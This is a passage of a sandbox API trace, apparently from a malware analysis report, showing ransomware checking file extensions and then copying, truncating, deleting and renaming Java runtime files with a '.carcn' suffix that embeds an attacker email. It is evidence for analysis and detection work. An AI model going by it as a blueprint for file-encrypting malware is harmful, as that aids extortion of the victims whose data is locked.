lstrcmpiW (lpString1=".rar", lpString2=".cfg") returned 1 [0260.759] lstrlenW (lpString=".bz2") returned 4 [0260.759] lstrcmpiW (lpString1=".bz2", lpString2=".cfg") returned -1 [0260.759] lstrlenW (lpString=".7z") returned 3 [0260.759] lstrcmpiW (lpString1=".7z", lpString2="cfg") returned -1 [0260.759] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52 [0260.759] lstrlenW (lpString=".dbf") returned 4 [0260.759] lstrcmpiW (lpString1=".dbf", lpString2=".cfg") returned 1 [0260.759] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52 [0260.759] lstrlenW (lpString=".1cd") returned 4 [0260.759] lstrcmpiW (lpString1=".1cd", lpString2=".cfg") returned -1 [0260.759] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52 [0260.759] lstrlenW (lpString=".jpg") returned 4 [0260.759] lstrcmpiW (lpString1=".jpg", lpString2=".cfg") returned 1 [0260.759] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52 [0260.759] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52 [0260.759] lstrlenW (lpString=".doc") returned 4 [0260.759] lstrcmpiW (lpString1=".doc", lpString2=".cfg") returned 1 [0260.759] lstrlenW (lpString=".docx") returned 5 [0260.759] lstrcmpiW (lpString1=".docx", lpString2="m.cfg") returned -1 [0260.759] lstrlenW (lpString=".pdf") returned 4 [0260.759] lstrcmpiW (lpString1=".pdf", lpString2=".cfg") returned 1 [0260.760] lstrlenW (lpString=".xls") returned 4 [0260.760] lstrcmpiW (lpString1=".xls", lpString2=".cfg") returned 1 [0260.760] lstrlenW (lpString=".xlsx") returned 5 [0260.760] lstrcmpiW (lpString1=".xlsx", lpString2="m.cfg") returned -1 [0260.760] lstrlenW (lpString=".ppt") returned 4 [0260.760] lstrcmpiW (lpString1=".ppt", lpString2=".cfg") returned 1 [0260.760] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52 [0260.760] lstrlenW (lpString=".zip") returned 4 [0260.760] lstrcmpiW (lpString1=".zip", lpString2=".cfg") returned 1 [0260.760] lstrlenW (lpString=".rar") returned 4 [0260.760] lstrcmpiW (lpString1=".rar", lpString2=".cfg") returned 1 [0260.760] lstrlenW (lpString=".bz2") returned 4 [0260.760] lstrcmpiW (lpString1=".bz2", lpString2=".cfg") returned -1 [0260.760] lstrlenW (lpString=".7z") returned 3 [0260.760] lstrcmpiW (lpString1=".7z", lpString2="cfg") returned -1 [0260.760] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52 [0260.760] lstrlenW (lpString=".dbf") returned 4 [0260.760] lstrcmpiW (lpString1=".dbf", lpString2=".cfg") returned 1 [0260.760] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52 [0260.760] lstrlenW (lpString=".1cd") returned 4 [0260.760] lstrcmpiW (lpString1=".1cd", lpString2=".cfg") returned -1 [0260.760] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52 [0260.760] lstrlenW (lpString=".jpg") returned 4 [0260.760] lstrcmpiW (lpString1=".jpg", lpString2=".cfg") returned 1 [0260.760] lstrcmpiW (lpString1=".properties", lpString2=".carcn") returned 1 [0260.760] lstrlenW (lpString="messages.properties") returned 19 [0260.760] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0262.480] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=2860) returned 1 [0262.480] CloseHandle (hObject=0x528) returned 1 [0262.480] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages.properties")) returned 0x20 [0262.481] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages.properties.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0262.481] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0262.481] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0262.481] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0262.481] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages.properties.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0262.482] GetLastError () returned 0x0 [0262.482] ReadFile (in: hFile=0x528, lpBuffer=0x43a5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesRead=0x3cffecc*=0xb2c, lpOverlapped=0x0) returned 1 [0262.564] WriteFile (in: hFile=0x530, lpBuffer=0x43a5020*, nNumberOfBytesToWrite=0xb30, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesWritten=0x3cffc94*=0xb30, lpOverlapped=0x0) returned 1 [0262.565] ReadFile (in: hFile=0x528, lpBuffer=0x43a5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesRead=0x3cffecc*=0x0, lpOverlapped=0x0) returned 1 [0262.565] WriteFile (in: hFile=0x530, lpBuffer=0x43a5020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesWritten=0x3cffc94*=0xfa, lpOverlapped=0x0) returned 1 [0262.565] SetEndOfFile (hFile=0x530) returned 1 [0262.565] CloseHandle (hObject=0x530) returned 1 [0262.566] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0262.566] SetEndOfFile (hFile=0x528) returned 1 [0262.568] CloseHandle (hObject=0x528) returned 1 [0262.569] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0262.569] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages.properties")) returned 1 [0262.569] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65 [0262.569] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65 [0262.570] lstrlenW (lpString=".doc") returned 4 [0262.570] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0262.570] lstrlenW (lpString=".docx") returned 5 [0262.570] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0262.570] lstrlenW (lpString=".pdf") returned 4 [0262.570] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0262.570] lstrlenW (lpString=".xls") returned 4 [0262.570] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0262.570] lstrlenW (lpString=".xlsx") returned 5 [0262.570] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0262.570] lstrlenW (lpString=".ppt") returned 4 [0262.570] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0262.570] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65 [0262.570] lstrlenW (lpString=".zip") returned 4 [0262.570] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0262.570] lstrlenW (lpString=".rar") returned 4 [0262.570] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0262.570] lstrlenW (lpString=".bz2") returned 4 [0262.570] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0262.570] lstrlenW (lpString=".7z") returned 3 [0262.570] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0262.570] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65 [0262.570] lstrlenW (lpString=".dbf") returned 4 [0262.570] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0262.570] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65 [0262.570] lstrlenW (lpString=".1cd") returned 4 [0262.570] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0262.570] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65 [0262.570] lstrlenW (lpString=".jpg") returned 4 [0262.570] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0262.570] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65 [0262.570] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65 [0262.571] lstrlenW (lpString=".doc") returned 4 [0262.571] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0262.571] lstrlenW (lpString=".docx") returned 5 [0262.571] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0262.571] lstrlenW (lpString=".pdf") returned 4 [0262.571] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0262.571] lstrlenW (lpString=".xls") returned 4 [0262.571] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0262.571] lstrlenW (lpString=".xlsx") returned 5 [0262.571] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0262.571] lstrlenW (lpString=".ppt") returned 4 [0262.571] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0262.571] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65 [0262.571] lstrlenW (lpString=".zip") returned 4 [0262.571] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0262.571] lstrlenW (lpString=".rar") returned 4 [0262.571] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0262.571] lstrlenW (lpString=".bz2") returned 4 [0262.571] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0262.571] lstrlenW (lpString=".7z") returned 3 [0262.571] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0262.571] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65 [0262.571] lstrlenW (lpString=".dbf") returned 4 [0262.571] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0262.571] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65 [0262.571] lstrlenW (lpString=".1cd") returned 4 [0262.571] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0262.571] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65 [0262.571] lstrlenW (lpString=".jpg") returned 4 [0262.571] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0262.571] lstrcmpiW (lpString1=".properties", lpString2=".carcn") returned 1 [0262.572] lstrlenW (lpString="messages_pt_BR.properties") returned 25 [0262.572] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_pt_br.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0262.573] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=3285) returned 1 [0262.573] CloseHandle (hObject=0x528) returned 1 [0262.573] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_pt_br.properties")) returned 0x20 [0262.573] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_pt_br.properties.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0262.573] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_pt_br.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0262.573] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0262.573] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0262.573] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_pt_br.properties.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0262.574] GetLastError () returned 0x0 [0262.574] ReadFile (in: hFile=0x528, lpBuffer=0x43a5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesRead=0x3cffecc*=0xcd5, lpOverlapped=0x0) returned 1 [0262.679] WriteFile (in: hFile=0x530, lpBuffer=0x43a5020*, nNumberOfBytesToWrite=0xce0, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesWritten=0x3cffc94*=0xce0, lpOverlapped=0x0) returned 1 [0262.680] ReadFile (in: hFile=0x528, lpBuffer=0x43a5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesRead=0x3cffecc*=0x0, lpOverlapped=0x0) returned 1 [0262.680] WriteFile (in: hFile=0x530, lpBuffer=0x43a5020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesWritten=0x3cffc94*=0x106, lpOverlapped=0x0) returned 1 [0262.680] SetEndOfFile (hFile=0x530) returned 1 [0262.680] CloseHandle (hObject=0x530) returned 1 [0262.681] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0262.681] SetEndOfFile (hFile=0x528) returned 1 [0262.684] CloseHandle (hObject=0x528) returned 1 [0262.684] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0262.685] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_pt_br.properties")) returned 1 [0262.685] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71 [0262.685] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71 [0262.685] lstrlenW (lpString=".doc") returned 4 [0262.685] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0262.685] lstrlenW (lpString=".docx") returned 5 [0262.686] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0262.686] lstrlenW (lpString=".pdf") returned 4 [0262.686] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0262.686] lstrlenW (lpString=".xls") returned 4 [0262.686] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0262.686] lstrlenW (lpString=".xlsx") returned 5 [0262.686] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0262.686] lstrlenW (lpString=".ppt") returned 4 [0262.686] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0262.686] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71 [0262.686] lstrlenW (lpString=".zip") returned 4 [0262.686] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0262.686] lstrlenW (lpString=".rar") returned 4 [0262.686] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0262.686] lstrlenW (lpString=".bz2") returned 4 [0262.686] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0262.686] lstrlenW (lpString=".7z") returned 3 [0262.686] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0262.686] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71 [0262.686] lstrlenW (lpString=".dbf") returned 4 [0262.686] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0262.686] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71 [0262.686] lstrlenW (lpString=".1cd") returned 4 [0262.686] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0262.686] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71 [0262.686] lstrlenW (lpString=".jpg") returned 4 [0262.686] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0262.687] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71 [0262.687] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71 [0262.687] lstrlenW (lpString=".doc") returned 4 [0262.687] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0262.687] lstrlenW (lpString=".docx") returned 5 [0262.687] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0262.687] lstrlenW (lpString=".pdf") returned 4 [0262.687] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0262.687] lstrlenW (lpString=".xls") returned 4 [0262.687] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0262.687] lstrlenW (lpString=".xlsx") returned 5 [0262.687] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0262.687] lstrlenW (lpString=".ppt") returned 4 [0262.687] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0262.687] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71 [0262.687] lstrlenW (lpString=".zip") returned 4 [0262.687] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0262.687] lstrlenW (lpString=".rar") returned 4 [0262.687] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0262.687] lstrlenW (lpString=".bz2") returned 4 [0262.687] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0262.687] lstrlenW (lpString=".7z") returned 3 [0262.687] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0262.687] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71 [0262.687] lstrlenW (lpString=".dbf") returned 4 [0262.687] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0262.687] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71 [0262.687] lstrlenW (lpString=".1cd") returned 4 [0262.687] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0262.687] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71 [0262.687] lstrlenW (lpString=".jpg") returned 4 [0262.687] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0262.688] lstrcmpiW (lpString1=".properties", lpString2=".carcn") returned 1 [0262.688] lstrlenW (lpString="messages_zh_CN.properties") returned 25 [0262.688] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_cn.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0262.688] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=4072) returned 1 [0262.688] CloseHandle (hObject=0x528) returned 1 [0262.688] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_cn.properties")) returned 0x20 [0262.688] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_cn.properties.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0262.688] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_cn.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0262.689] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0262.689] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0262.689] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_cn.properties.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0262.689] GetLastError () returned 0x0 [0262.689] ReadFile (in: hFile=0x528, lpBuffer=0x43a5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesRead=0x3cffecc*=0xfe8, lpOverlapped=0x0) returned 1 [0262.786] WriteFile (in: hFile=0x530, lpBuffer=0x43a5020*, nNumberOfBytesToWrite=0xff0, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesWritten=0x3cffc94*=0xff0, lpOverlapped=0x0) returned 1 [0262.787] ReadFile (in: hFile=0x528, lpBuffer=0x43a5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesRead=0x3cffecc*=0x0, lpOverlapped=0x0) returned 1 [0262.787] WriteFile (in: hFile=0x530, lpBuffer=0x43a5020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesWritten=0x3cffc94*=0x106, lpOverlapped=0x0) returned 1 [0262.787] SetEndOfFile (hFile=0x530) returned 1 [0262.788] CloseHandle (hObject=0x530) returned 1 [0262.788] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0262.789] SetEndOfFile (hFile=0x528) returned 1 [0262.791] CloseHandle (hObject=0x528) returned 1 [0262.792] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0263.311] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_cn.properties")) returned 1 [0263.312] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71 [0263.312] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71 [0263.312] lstrlenW (lpString=".doc") returned 4 [0263.312] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0263.312] lstrlenW (lpString=".docx") returned 5 [0263.312] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0263.312] lstrlenW (lpString=".pdf") returned 4 [0263.312] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0263.312] lstrlenW (lpString=".xls") returned 4 [0263.312] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0263.312] lstrlenW (lpString=".xlsx") returned 5 [0263.313] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0263.313] lstrlenW (lpString=".ppt") returned 4 [0263.313] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0263.313] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71 [0263.313] lstrlenW (lpString=".zip") returned 4 [0263.313] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0263.313] lstrlenW (lpString=".rar") returned 4 [0263.313] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0263.313] lstrlenW (lpString=".bz2") returned 4 [0263.313] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0263.313] lstrlenW (lpString=".7z") returned 3 [0263.313] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0263.313] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71 [0263.313] lstrlenW (lpString=".dbf") returned 4 [0263.313] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0263.313] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71 [0263.313] lstrlenW (lpString=".1cd") returned 4 [0263.313] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0263.313] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71 [0263.313] lstrlenW (lpString=".jpg") returned 4 [0263.313] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0263.313] lstrlenW 